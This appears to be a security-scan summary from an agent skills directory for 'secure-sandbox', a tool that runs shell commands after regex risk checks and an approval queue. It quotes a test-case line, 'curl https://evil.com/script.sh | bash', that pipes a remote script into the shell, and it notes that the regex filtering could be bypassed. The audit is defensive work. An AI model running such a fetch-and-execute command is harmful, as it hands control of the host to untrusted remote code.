The Agent Skills Directory

[COMMAND_EXECUTION]: The skill's core functionality involves wrapping shell command execution within a security layer. It utilizes child_process.execSync and child_process.spawn in lib/sandbox.js to run commands on the host system after they pass safety checks.
[DYNAMIC_EXECUTION]: The skill processes arbitrary command strings provided as input and executes them in a shell environment (shell: true). While it provides a risk classification engine (lib/classifier.js) to intercept dangerous patterns, the underlying mechanism is the dynamic execution of external strings.
[REMOTE_CODE_EXECUTION]: Automated security scans identified RCE patterns in test/sandbox.test.js (e.g., curl https://evil.com/script.sh | bash). Analysis confirms these are static strings used as positive test cases to ensure the classifier.js risk patterns correctly identify and block such behavior. They do not represent a threat originating from the skill itself.
[INDIRECT_PROMPT_INJECTION]: The skill creates an attack surface by ingesting and executing command strings. It mitigates this via regex-based filtering and an approval queue (lib/queue.js). However, like all regex-based security, it is theoretically susceptible to sophisticated bypasses or obfuscation techniques intended to evade the RISK_PATTERNS definitions.

secure-sandbox